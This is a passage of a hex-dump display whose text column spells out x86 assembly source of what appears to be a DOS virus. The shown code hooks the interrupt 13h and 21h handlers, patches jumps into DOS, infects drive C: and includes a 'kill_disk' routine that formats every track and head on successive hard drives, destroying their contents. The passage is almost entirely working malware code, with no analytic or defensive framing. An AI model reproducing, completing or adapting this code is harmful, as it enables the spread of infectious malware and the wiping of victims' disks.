|00005860| 20 64 6f 6e 74 20 68 6f | 6f 6b 20 69 6e 74 20 32 | dont ho|ok int 2|
|00005870| 31 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h. | |
|00005880| 20 20 20 6d 6f 76 20 20 | 20 20 20 61 6c 2c 30 65 | mov | al,0e|
|00005890| 61 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ah. | |
|000058a0| 20 20 20 73 74 6f 73 62 | 20 20 20 20 20 20 20 20 | stosb| |
|000058b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000058c0| 20 20 20 3b 20 73 74 6f | 72 65 20 61 74 20 6a 75 | ; sto|re at ju|
|000058d0| 6d 70 5f 63 6f 64 65 5f | 31 33 0a 20 20 20 20 20 |mp_code_|13. |
|000058e0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|000058f0| 20 20 20 64 73 3a 5b 64 | 69 2b 34 5d 2c 61 6c 0a | ds:[d|i+4],al.|
|00005900| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005910| 6d 6f 76 20 20 20 20 20 | 61 78 2c 6f 66 66 73 65 |mov |ax,offse|
|00005920| 74 20 6e 65 77 5f 31 33 | 0a 20 20 20 20 20 20 20 |t new_13|. |
|00005930| 20 20 20 20 20 20 20 20 | 20 73 74 6f 73 77 0a 20 | | stosw. |
|00005940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00005950| 6f 76 20 20 20 20 20 77 | 6f 72 64 20 70 74 72 20 |ov w|ord ptr |
|00005960| 64 73 3a 5b 64 69 2b 33 | 5d 2c 6f 66 66 73 65 74 |ds:[di+3|],offset|
|00005970| 20 6e 65 77 5f 32 31 0a | 20 20 20 20 20 20 20 20 | new_21.| |
|00005980| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 | |mov |
|00005990| 64 73 3a 5b 64 69 5d 2c | 63 73 0a 20 20 20 20 20 |ds:[di],|cs. |
|000059a0| 20 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 | | mov |
|000059b0| 20 20 20 64 73 3a 5b 64 | 69 2b 35 5d 2c 63 73 0a | ds:[d|i+5],cs.|
|000059c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000059d0| 70 75 73 68 20 20 20 20 | 64 69 0a 20 20 20 20 20 |push |di. |
|000059e0| 20 20 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 | | call |
|000059f0| 20 20 20 66 69 6e 64 5f | 69 6e 74 73 20 20 20 20 | find_|ints |
|00005a00| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 74 72 61 | | ; tra|
|00005a10| 63 65 20 69 6e 74 65 72 | 72 75 70 74 73 0a 20 20 |ce inter|rupts. |
|00005a20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|00005a30| 70 20 20 20 20 20 64 69 | 0a 20 20 20 20 20 20 20 |p di|. |
|00005a40| 20 20 20 20 20 20 20 20 | 20 70 75 73 68 20 20 20 | | push |
|00005a50| 20 63 73 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | cs. | |
|00005a60| 20 20 20 20 70 6f 70 20 | 20 20 20 20 64 73 0a 20 | pop | ds. |
|00005a70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 6d | | m|
|00005a80| 6f 76 20 20 20 20 20 61 | 78 2c 64 73 3a 64 6f 73 |ov a|x,ds:dos|
|00005a90| 5f 73 65 67 0a 20 20 20 | 20 20 20 20 20 20 20 20 |_seg. | |
|00005aa0| 20 20 20 20 20 63 6d 70 | 20 20 20 20 20 77 6f 72 | cmp| wor|
|00005ab0| 64 20 70 74 72 20 64 73 | 3a 5b 64 69 2b 28 64 6f |d ptr ds|:[di+(do|
|00005ac0| 73 5f 31 33 2b 32 29 2d | 28 6a 75 6d 70 5f 63 6f |s_13+2)-|(jump_co|
|00005ad0| 64 65 5f 31 33 2b 33 29 | 5d 2c 61 78 20 0a 20 20 |de_13+3)|],ax . |
|00005ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00005b10| 66 6f 75 6e 64 20 44 4f | 53 27 20 69 6e 74 20 31 |found DO|S' int 1|
|00005b20| 33 68 3f 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |3h?. | |
|00005b30| 20 20 20 20 6a 61 20 20 | 20 20 20 20 63 61 6c 6c | ja | call|
|00005b40| 5f 69 6e 66 5f 68 61 72 | 64 0a 20 20 20 20 20 20 |_inf_har|d. |
|00005b50| 20 20 20 20 20 20 20 20 | 20 20 63 6d 70 20 20 20 | | cmp |
|00005b60| 20 20 77 6f 72 64 20 70 | 74 72 20 64 73 3a 5b 64 | word p|tr ds:[d|
|00005b70| 69 2b 28 69 6e 74 5f 32 | 31 2b 32 29 2d 28 6a 75 |i+(int_2|1+2)-(ju|
|00005b80| 6d 70 5f 63 6f 64 65 5f | 31 33 2b 33 29 5d 2c 61 |mp_code_|13+3)],a|
|00005b90| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 0a 20 20 |x | . |
|00005ba0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00005bd0| 66 6f 75 6e 64 20 44 4f | 53 27 20 69 6e 74 20 32 |found DO|S' int 2|
|00005be0| 31 68 3f 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |1h?. | |
|00005bf0| 20 20 20 20 6a 61 20 20 | 20 20 20 20 63 61 6c 6c | ja | call|
|00005c00| 5f 69 6e 66 5f 68 61 72 | 64 0a 20 20 20 20 20 20 |_inf_har|d. |
|00005c10| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00005c20| 20 20 73 77 61 70 5f 31 | 33 0a 20 20 20 20 20 20 | swap_1|3. |
|00005c30| 20 20 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 20 | | call |
|00005c40| 20 20 73 77 61 70 5f 32 | 31 20 20 20 20 20 20 20 | swap_2|1 |
|00005c50| 20 20 20 20 20 20 20 20 | 20 20 3b 20 69 6e 73 65 | | ; inse|
|00005c60| 72 74 20 6a 75 6d 70 73 | 20 69 6e 74 6f 20 44 4f |rt jumps| into DO|
|00005c70| 53 0a 63 61 6c 6c 5f 69 | 6e 66 5f 68 61 72 64 3a |S.call_i|nf_hard:|
|00005c80| 20 20 63 61 6c 6c 20 20 | 20 20 69 6e 66 5f 68 61 | call | inf_ha|
|00005c90| 72 64 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |rd | |
|00005ca0| 20 20 3b 20 69 6e 66 65 | 63 74 20 64 72 69 76 65 | ; infe|ct drive|
|00005cb0| 20 43 3a 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | C:. | |
|00005cc0| 20 20 20 20 6f 72 20 20 | 20 20 20 20 62 70 2c 62 | or | bp,b|
|00005cd0| 70 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p | |
|00005ce0| 20 20 20 20 3b 20 5a 46 | 20 2d 3e 20 4e 6f 20 54 | ; ZF| -> No T|
|00005cf0| 42 43 4c 45 41 4e 0a 20 | 20 20 20 20 20 20 20 20 |BCLEAN. | |
|00005d00| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 73 | m|ov s|
|00005d10| 69 2c 62 70 20 20 20 20 | 20 20 20 20 20 20 20 20 |i,bp | |
|00005d20| 20 20 20 20 20 20 20 3b | 20 53 49 3d 30 20 69 66 | ;| SI=0 if|
|00005d30| 20 67 6f 74 6f 20 6a 75 | 6d 70 5f 68 6f 73 74 0a | goto ju|mp_host.|
|00005d40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005d50| 6a 6e 65 20 20 20 20 20 | 6b 69 6c 6c 5f 64 69 73 |jne |kill_dis|
|00005d60| 6b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k. | |
|00005d70| 20 20 6a 6d 70 20 20 20 | 20 20 6a 75 6d 70 5f 68 | jmp | jump_h|
|00005d80| 6f 73 74 0a 0a 6b 69 6c | 6c 5f 64 69 73 6b 3a 20 |ost..kil|l_disk: |
|00005d90| 20 20 20 20 20 78 6f 72 | 20 20 20 20 20 62 78 2c | xor| bx,|
|00005da0| 62 78 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx. | |
|00005db0| 20 20 20 6d 6f 76 20 20 | 20 20 20 65 73 2c 62 78 | mov | es,bx|
|00005dc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005dd0| 20 20 20 3b 20 74 61 62 | 6c 65 20 74 6f 20 75 73 | ; tab|le to us|
|00005de0| 65 20 66 6f 72 20 66 6f | 72 6d 61 74 0a 20 20 20 |e for fo|rmat. |
|00005df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00005e00| 20 20 20 20 20 64 6c 2c | 38 30 68 20 20 20 20 20 | dl,|80h |
|00005e10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 3b 20 44 | | ; D|
|00005e20| 72 69 76 65 20 43 3a 0a | 6b 69 6c 6c 5f 6e 65 78 |rive C:.|kill_nex|
|00005e30| 74 5f 64 69 73 6b 3a 20 | 78 6f 72 20 20 20 20 20 |t_disk: |xor |
|00005e40| 64 68 2c 64 68 20 20 20 | 20 20 20 20 20 20 20 20 |dh,dh | |
|00005e50| 20 20 20 20 20 20 20 20 | 3b 20 68 65 61 64 20 30 | |; head 0|
|00005e60| 0a 6b 69 6c 6c 5f 6e 65 | 78 74 5f 74 72 61 63 6b |.kill_ne|xt_track|
|00005e70| 3a 78 6f 72 20 20 20 20 | 20 63 78 2c 63 78 20 20 |:xor | cx,cx |
|00005e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005e90| 20 3b 20 74 72 61 63 6b | 20 30 20 20 20 20 20 20 | ; track| 0 |
|00005ea0| 20 20 20 20 20 20 20 0a | 6b 69 6c 6c 5f 66 6f 72 | .|kill_for|
|00005eb0| 6d 61 74 3a 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |mat: |mov |
|00005ec0| 61 78 2c 35 30 31 68 0a | 20 20 20 20 20 20 20 20 |ax,501h.| |
|00005ed0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 20 20 | |call |
|00005ee0| 63 61 6c 6c 5f 64 69 73 | 6b 20 20 20 20 20 20 20 |call_dis|k |
|00005ef0| 20 20 20 20 20 20 20 20 | 3b 20 66 6f 72 6d 61 74 | |; format|
|00005f00| 20 74 72 61 63 6b 0a 20 | 20 20 20 20 20 20 20 20 | track. | |
|00005f10| 20 20 20 20 20 20 20 61 | 6e 64 20 20 20 20 20 63 | a|nd c|
|00005f20| 6c 2c 31 31 30 30 30 30 | 30 30 62 0a 20 20 20 20 |l,110000|00b. |
|00005f30| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 6e 63 20 | | inc |
|00005f40| 20 20 20 20 63 68 20 20 | 20 20 20 20 20 20 20 20 | ch | |
|00005f50| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 6e 65 | | ; ne|
|00005f60| 78 74 20 74 72 61 63 6b | 20 6c 6f 77 0a 20 20 20 |xt track| low. |
|00005f70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 6e 65 | | jne|
|00005f80| 20 20 20 20 20 6b 69 6c | 6c 5f 66 6f 72 6d 61 74 | kil|l_format|
|00005f90| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00005fa0| 20 61 64 64 20 20 20 20 | 20 63 6c 2c 34 30 68 20 | add | cl,40h |
|00005fb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00005fc0| 20 3b 20 6e 65 78 74 20 | 74 72 61 63 6b 20 68 69 | ; next |track hi|
|00005fd0| 67 68 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |gh. | |
|00005fe0| 20 20 20 6a 6e 65 20 20 | 20 20 20 6b 69 6c 6c 5f | jne | kill_|
|00005ff0| 66 6f 72 6d 61 74 0a 20 | 20 20 20 20 20 20 20 20 |format. | |
|00006000| 20 20 20 20 20 20 20 78 | 6f 72 20 20 20 20 20 61 | x|or a|
|00006010| 68 2c 61 68 0a 20 20 20 | 20 20 20 20 20 20 20 20 |h,ah. | |
|00006020| 20 20 20 20 20 69 6e 74 | 20 20 20 20 20 31 33 68 | int| 13h|
|00006030| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006040| 20 20 20 20 20 3b 20 72 | 65 73 65 74 20 64 69 73 | ; r|eset dis|
|00006050| 6b 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |k. | |
|00006060| 20 20 69 6e 63 20 20 20 | 20 20 64 68 20 20 20 20 | inc | dh |
|00006070| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006080| 20 20 3b 20 6e 65 78 74 | 20 68 65 61 64 0a 20 20 | ; next| head. |
|00006090| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 63 6d | | cm|
|000060a0| 70 20 20 20 20 20 64 68 | 2c 31 30 68 0a 20 20 20 |p dh|,10h. |
|000060b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6a 62 20 | | jb |
|000060c0| 20 20 20 20 20 6b 69 6c | 6c 5f 6e 65 78 74 5f 74 | kil|l_next_t|
|000060d0| 72 61 63 6b 0a 20 20 20 | 20 20 20 20 20 20 20 20 |rack. | |
|000060e0| 20 20 20 20 20 69 6e 63 | 20 20 20 20 20 64 78 20 | inc| dx |
|000060f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006100| 20 20 20 20 20 3b 20 6e | 65 78 74 20 64 72 69 76 | ; n|ext driv|
|00006110| 65 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |e. | |
|00006120| 20 20 6a 6d 70 20 20 20 | 20 20 6b 69 6c 6c 5f 6e | jmp | kill_n|
|00006130| 65 78 74 5f 64 69 73 6b | 0a 0a 3b 3d 3d 3d 3d 3d |ext_disk|..;=====|
|00006140| 28 20 49 6e 74 65 72 72 | 75 70 74 20 31 33 68 20 |( Interr|upt 13h |
|00006150| 68 61 6e 64 6c 65 72 20 | 29 3d 3d 3d 3d 3d 3d 3d |handler |)=======|
|00006160| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00006170| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00006180| 3d 3d 3d 3d 3d 3d 3d 3b | 0a 0a 6e 65 77 5f 31 33 |=======;|..new_13|
|00006190| 3a 20 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 20 |: | jmp |
|000061a0| 20 20 24 0a 68 6f 6f 6b | 5f 32 31 20 20 20 20 20 | $.hook|_21 |
|000061b0| 20 20 20 20 3d 20 20 20 | 20 20 20 20 62 79 74 65 | = | byte|
|000061c0| 20 70 74 72 20 24 20 2d | 20 31 0a 0a 63 68 65 63 | ptr $ -| 1..chec|
|000061d0| 6b 5f 32 31 3a 20 20 20 | 20 20 20 20 63 61 6c 6c |k_21: | call|
|000061e0| 20 20 20 20 70 75 73 68 | 5f 61 6c 6c 0a 20 20 20 | push|_all. |
|000061f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00006200| 20 20 20 20 20 61 6c 2c | 32 31 68 0a 20 20 20 20 | al,|21h. |
|00006210| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 61 6c 6c | | call|
|00006220| 20 20 20 20 67 65 74 5f | 69 6e 74 20 20 20 20 20 | get_|int |
|00006230| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 67 65 | | ; ge|
|00006240| 74 20 69 6e 74 20 32 31 | 68 20 61 64 64 72 65 73 |t int 21|h addres|
|00006250| 73 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |s. | |
|00006260| 20 20 6d 6f 76 20 20 20 | 20 20 61 78 2c 65 73 0a | mov | ax,es.|
|00006270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00006280| 70 75 73 68 20 20 20 20 | 63 73 20 63 73 0a 20 20 |push |cs cs. |
|00006290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 70 6f | | po|
|000062a0| 70 20 20 20 20 20 64 73 | 20 65 73 0a 20 20 20 20 |p ds| es. |
|000062b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 63 6d 70 20 | | cmp |
|000062c0| 20 20 20 20 61 78 2c 38 | 30 30 68 20 20 20 20 20 | ax,8|00h |
|000062d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 74 6f | | ; to|
|000062e0| 6f 20 68 69 67 68 3f 0a | 20 20 20 20 20 20 20 20 |o high?.| |
|000062f0| 20 20 20 20 20 20 20 20 | 6a 61 20 20 20 20 20 20 | |ja |
|00006300| 63 61 6e 74 5f 68 6f 6f | 6b 5f 32 31 0a 20 20 20 |cant_hoo|k_21. |
|00006310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 6d 6f 76 | | mov|
|00006320| 20 20 20 20 20 64 69 2c | 6f 66 66 73 65 74 20 69 | di,|offset i|
|00006330| 6e 74 5f 32 31 20 2b 20 | 32 0a 20 20 20 20 20 20 |nt_21 + |2. |
|00006340| 20 20 20 20 20 20 20 20 | 20 20 73 74 64 0a 20 20 | | std. |
|00006350| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 78 63 | | xc|
|00006360| 68 67 20 20 20 20 61 78 | 2c 64 73 3a 5b 64 69 5d |hg ax|,ds:[di]|
|00006370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00006380| 73 77 61 70 20 61 64 64 | 72 65 73 73 65 73 0a 20 |swap add|resses. |
|00006390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 73 | | s|
|000063a0| 63 61 73 77 20 20 20 20 | 20 20 20 20 20 20 20 20 |casw | |
|000063b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000063c0| 20 64 69 64 20 69 74 20 | 63 68 61 6e 67 65 3f 0a | did it |change?.|
|000063d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000063e0| 6a 65 20 20 20 20 20 20 | 63 61 6e 74 5f 68 6f 6f |je |cant_hoo|
|000063f0| 6b 5f 32 31 0a 20 20 20 | 20 20 20 20 20 20 20 20 |k_21. | |
+--------+-------------------------+-------------------------+--------+--------+
Only 25.0 KB of data is shown above.